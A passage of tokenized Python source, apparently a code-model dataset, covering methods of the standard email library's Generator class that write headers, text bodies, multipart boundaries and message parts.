"._", "replace_", "(_", "'-'_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meth_", "=_", "getattr_", "(_", "self_", ",_", "'\\u", "handle", "\\u'_", "+_", "generic_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "meth_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "meth_", "=_", "self_", "._", "\\u", "write", "Body_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "meth_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "write", "\\u", "headers_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "h_", ",_", "v_", "in_", "msg_", "._", "raw", "\\u", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write_", "(_", "self_", "._", "policy_", "._", "fold_", "(_", "h_", ",_", "v_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "A", " ", "blank", " ", "line", " ", "alw", "ay", "s", " ", "separate", "s", " ", "header", "s", " ", "from", " ", "body_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "write_", "(_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "text_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "payload_", "=_", "msg_", "._", "get", "\\u", "payload_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "payload_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "payload_", ",_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "string", " ", "payload", " ", "expected", ":", " ", "%", "s", "'_", "%_", "type_", "(_", "payload_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "has", "\\u", "surrogate", "s_", "(_", "msg_", "._", "\\u", "payload_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "charset_", "=_", "msg_", "._", "get", "\\u", "param_", "(_", "'", "charset", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "charset_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "msg_", "[_", "'", "content", "-", "transfer", "-", "encoding", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "._", "set\\u", "payload_", "(_", "payload_", ",_", "charset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payload_", "=_", "msg_", "._", "get", "\\u", "payload_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "mangle", "\\u", "from\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "payload_", "=_", "fc", "re_", "._", "sub_", "(_", "'>", "Fro", "m", " ", "'_", ",_", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "write", "\\u", "lines_", "(_", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "multipart_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "trick", " ", "here", " ", "is", " ", "to", " ", "write", " ", "out", " ", "each", " ", "part", " ", "separately", ",", " ", "merge", " ", "them", " ", "all_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tog", "ether", ",", " ", "and", " ", "then", " ", "make", " ", "sure", " ", "tha", "t", " ", "the", " ", "bound", "ary", " ", "we", "'", "ve", " ", "chosen", " ", "isn", "'", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "presen", "t", " ", "in", " ", "the", " ", "payload", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msgt", "exts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subpar", "ts_", "=_", "msg_", "._", "get", "\\u", "payload_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "subpar", "ts_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subpar", "ts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "subpar", "ts_", ",_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "e", ".", "g", ".", " ", "a", " ", "non", "-", "strict", " ", "parse", " ", "of", " ", "a", " ", "message", " ", "with", " ", "no", " ", "startin", "g", " ", "bound", "ary", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write_", "(_", "subpar", "ts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "isinstance_", "(_", "subpar", "ts_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Scala", "r", " ", "payload_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subpar", "ts_", "=_", "[_", "subpar", "ts_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "part_", "in_", "subpar", "ts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "self_", "._", "\\u", "new", "\\u", "buffer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "self_", "._", "clone_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "._", "flatten_", "(_", "part_", ",_", "unix", "from_", "=_", "False_", ",_", "linesep_", "=_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msgt", "exts_", "._", "append_", "(_", "s_", "._", "getvalue_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "BA", "W", ":", " ", "What", " ", "abo", "ut", " ", "bound", "aries", " ", "tha", "t", " ", "are", " ", "wrapp", "ed", " ", "in", " ", "double", "-", "quote", "s", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "boundary_", "=_", "msg_", "._", "get", "\\u", "boundary_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "boundary_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "bound", "ary", " ", "tha", "t", " ", "doe", "sn", "'", "t", " ", "appear", " ", "in", " ", "any", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "message", " ", "texts", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "allt", "ext_", "=_", "self_", "._", "\\u", "encode", "d\\u", "NL", "_", "._", "join_", "(_", "msgt", "exts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "boundary_", "=_", "self_", "._", "\\u", "make", "\\u", "boundary_", "(_", "allt", "ext_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "._", "set\\u", "boundary_", "(_", "boundary_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "there", "'", "s", " ", "a", " ", "preamble", ",", " ", "write", " ", "it", " ", "out", ",", " ", "with", " ", "a", " ", "trail", "ing", " ", "CRL", "F_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "msg_", "._", "preamble_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "mangle", "\\u", "from\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "preamble_", "=_", "fc", "re_", "._", "sub_", "(_", "'>", "Fro", "m", " ", "'_", ",_", "msg_", "._", "preamble_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "preamble_", "=_", "msg_", "._", "preamble_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "write", "\\u", "lines_", "(_", "preamble_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write_", "(_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "dash", "-", "bound", "ary", " ", "transport", "-", "padd", "ing", " ", "CRL", "F_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "write_", "(_", "'--'_", "+_", "boundary_", "+_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "body", "-", "part_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "msgt", "exts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "fp_", "._", "write_", "(_", "msgt", "exts_", "._", "pop_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "*", "encapsulat", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-->", " ", "delimiter", " ", "transport", "-", "padding_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-->", " ", "CRL", "F", " ", "body", "-", "part_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "body", "\\u", "part_", "in_", "msgt", "exts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delimiter", " ", "transport", "-", "padd", "ing", " ", "CRL", "F_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write_", "(_", "self_", "._", "\\u", "NL", "_", "+_", "'--'_", "+_", "boundary_", "+_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "body", "-", "part_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "fp_", "._", "write_", "(_", "body", "\\u", "part_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "close", "-", "delimiter", " ", "transport", "-", "padding_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "write_", "(_", "self_", "._", "\\u", "NL", "_", "+_", "'--'_", "+_", "boundary_", "+_", "'--'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg_", "._", "epi", "logu", "e_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write_", "(_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "mangle", "\\u", "from\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "epi", "logu", "e_", "=_", "fc", "re_", "._", "sub_", "(_", "'>", "Fro", "m", " ", "'_", ",_", "msg_", "._", "epi", "logu", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "epi", "logu", "e_", "=_", "msg_", "._", "epi", "logu", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "write", "\\u", "lines_", "(_", "epi", "logu", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "multip", "art", "\\u", "signed_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "content", "s", " ", "of", " ", "sign", "ed", " ", "part", "s", " ", "has", " ", "to", " ", "stay", " ", "unmo", "difi", "ed", " ", "in", " ", "order", " ", "to", " ", "keep_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "signa", "ture", " ", "inta", "ct", " ", "per", " ", "RF", "C1", "847", " ", "2.1", ",", " ", "so", " ", "we", " ", "disable", " ", "header", " ", "wrapp", "ing", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "RD", "M", ":", " ", "Thi", "s", " ", "isn", "'", "t", " ", "eno", "ugh", " ", "to", " ", "complete", "ly", " ", "preserve", " ", "the", " ", "part", ",", " ", "but", " ", "it", " ", "helps", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "policy_", "=_", "p_", "._", "clone_", "(_", "max", "\\u", "line", "\\u", "length_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "handle", "\\u", "multipart_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "policy_", "=_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "message", "\\u", "delivery", "\\u", "status_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "can", "'", "t", " ", "just", " ", "write", " ", "the", " ", "header", "s", " ", "direct", "ly", " ", "to", " ", "self", "'", "s", " ", "file", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bec", "aus", "e", " ", "this", " ", "will", " ", "lea", "ve", " ", "an", " ", "extra", " ", "newline", " ", "bet", "ween", " ", "the", " ", "last", " ", "header_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "block", " ", "and", " ", "the", " ", "bound", "ary", ".", " ", " ", "Sig", "h", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "blocks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "part_", "in_", "msg_", "._", "get", "\\u", "payload_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "self_", "._", "\\u", "new", "\\u", "buffer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "self_", "._", "clone_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "._", "flatten_", "(_", "part_", ",_", "unix", "from_", "=_", "False_", ",_", "linesep_", "=_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "s_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "text_", "._", "split_", "(_", "self_", "._", "\\u", "encode", "d\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Strip", " ", "off", " ", "the", " ", "unne", "cess", "ary", " ", "trail", "ing", " ", "empty", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "lines_", "and_", "lines_", "[_", "-_", "1_", "]_", "==_", "self_", "._", "\\u", "encode", "d\\u", "EMPTY_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "blocks_", "._", "append_", "(_", "self_", "._", "\\u", "encode", "d\\u", "NL", "_", "._", "join_", "(_", "lines_", "[_", ":_", "-_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "blocks_", "._", "append_", "(_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", "w", " ", "join", " ", "all", " ", "the", " ", "blocks", " ", "with", " ", "an", " ", "empty", " ", "line", ".", " ", " ", "Thi", "s", " ", "has", " ", "the", " ", "love", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "effect", " ", "of", " ", "separa", "ting", " ", "each", " ", "block", " ", "with", " ", "an", " ", "empty", " ", "line", ",", " ", "but", " ", "not", " ", "addin", "g_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "an", " ", "extra", " ", "one", " ", "after", " ", "the", " ", "last", " ", "one", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "fp_", "._", "write_", "(_", "self_", "._", "\\u", "encode", "d\\u", "NL", "_", "._", "join_", "(_", "blocks_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "message_", "(_", "self_", ",_", "msg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "self_", "._", "\\u", "new", "\\u", "buffer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "self_", "._", "clone_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "payload", " ", "of", " ", "a", " ", "message", "/", "rfc", "822", " ", "part", " ", "shou", "ld", " ", "be", " ", "a", " ", "multip", "art", " ", "sequence_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "length", " ", "1", ".", " ", " ", "The", " ", "zero", "th", " ", "element", " ", "of", " ", "the", " ", "list", " ", "shou", "ld", " ", "be", " ", "the", " ", "Message_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "object", " ", "for", " ", "the", " ", "subpar", "t", ".", " ", " ", "Extract", " ", "tha", "t", " ", "object", ",", " ", "stringify", " ", "it", ",", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "write", " ", "it", " ", "out", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Except", ",", " ", "it", " ", "turns", " ", "out", ",", " ", "whe", "n", " ", "it", "'", "s", " ", "a", " ", "string", " ", "inst", "ead", ",", " ", "whi", "ch", " ", "happ", "ens", " ", "when_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "only", " ", "whe", "n", " ", "Head", "er", "Parser", " ", "is", " ", "used", " ", "on", " ", "a", " ", "message", " ", "of", " ", "mime", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "message", "/", "rfc", "822", ".", " ", " ", "Suc", "h", " ", "message", "s", " ", "are", " ", "generat", "ed", " ", "by", ",", " ", "for", " ", "example", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Group", "wis", "e", " ", "whe", "n", " ", "forward", "ing", " ", "una", "dor", "ned", " ", "message", "s", ".", " ", " ", "(", "Issue", " ", "797", "0.", ")", " ", " ", "So", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "tha", "t", " ", "case", " ", "we", " ", "just", " ", "emit", " ", "the", " ", "string", " ", "body", "._", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "=_", "msg_", "._", "\\u", "payload_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "payload_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "._", "flatten_", "(_", "msg_", "._", "get", "\\u", "payload_", "(_", "0_", ")_", ",_", "unix", "from_", "=_", "False_", ",_", "linesep_", "=_", "self_", "._", "\\u", "NL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payload_", "=_", "s_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "payload_", "=_", "self_", "._", "\\u", "encode_", "(_", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "fp_", "._", "write_", "(_", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "make", "\\u", "boundary_", "(_", "cls_", ",_", "text_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Cra", "ft", " ", "a", " ", "random", " ", "bound", "ary", ".", " ", " ", "If", " ", "text", " ", "is", " ", "give", "n", ",", " ", "ensure", " ", "tha", "t", " ", "the", " ", "chosen", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bound", "ary", " ", "doe", "sn", "'", "t", " ", "appear", " ", "in", " ", "the", " ", "text", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "token_", "=_", "random_", "._", "randrange_", "(_", "sys_", "._", "maxsize_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "boundary_", "=_", "(_", "'='_", "*_", "15_", ")_", "+_", "(_", "\\u", "fmt_", "%_", "token_", ")_", "+_", "'=='_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "text_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "boundary_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "=_", "boundary_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "counter_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cre", "_", "=_", "cls_", "._", "\\u", "compile", "\\u", "re_", "(_", "'", "^", "--'_", "+_", "re_", "._", "escape_", "(_", "b_", ")_", "+_", "'(", "--", ")?", "$'_", ",_", "re_", "._", "MULTILINE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "cre", "_", "._", "search_", "(_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "b_", "=_", "boundary_", "+_", "'.'_", "+_", "str_", "(_", "counter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "counter_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "compile", "\\u", "re_", "(_", "cls_", ",_", "s_", ",_", "flags_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "re_", "._", "compile_", "(_", "s_", ",_", "flags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Byte", "s", "Generator_", "(_", "Generator_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Generate", "s", " ", "a", " ", "bytes", " ", "version", " ", "of", " ", "a", " ", "Messag", "e", " ", "object", " ", "tree", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Function", "ally", " ", "identi", "cal", " ", "to", " ", "the", " ", "base", " ", "Generat", "or", " ", "except", " ", "tha", "t", " ", "the", " ", "output", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "bytes", " ", "and", " ", "not", " ", "string", ".", " ", " ", "Whe", "n", " ", "surrogate", "s", " ", "wer", "e", " ", "used", " ", "in", " ", "the", " ", "input", " ", "to", " ", "encode", "\\", "10", ";", " ", " ", " ", " ", "bytes", ",", " ", "these", " ", "are", " ", "decode", "d", " ", "back", " ", "to", " ", "bytes", " ", "for", " ", "output", ".", " ", " ", "If", " ", "the", " ", "policy", " ", "has", "\\", "10", ";", " ", " ", " ", " ", "cte", "\\u", "type", " ", "set", " ", "to", " ", "7b", "it", ",", " ", "then", " ", "the", " ", "message", " ", "is", " ", "transforme", "d", " ", "suc", "h", " ", "tha", "t", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "non", "-", "ASCII", " ", "bytes", " ", "are", " ", "proper", "ly", " ", "content", " ", "transfer", " ", "encode", "d", ",", " ", "usi", "ng", " ", "the", " ", "charset", "\\", "10", ";", " ", " ", " ", " ", "unknown", "-", "8b", "it", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "outf", "p", " ", "object", " ", "must", " ", "accept", " ", "bytes", " ", "in", " ", "its", " ", "write", " ", "method", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Byte", "s", " ", "version", "s", 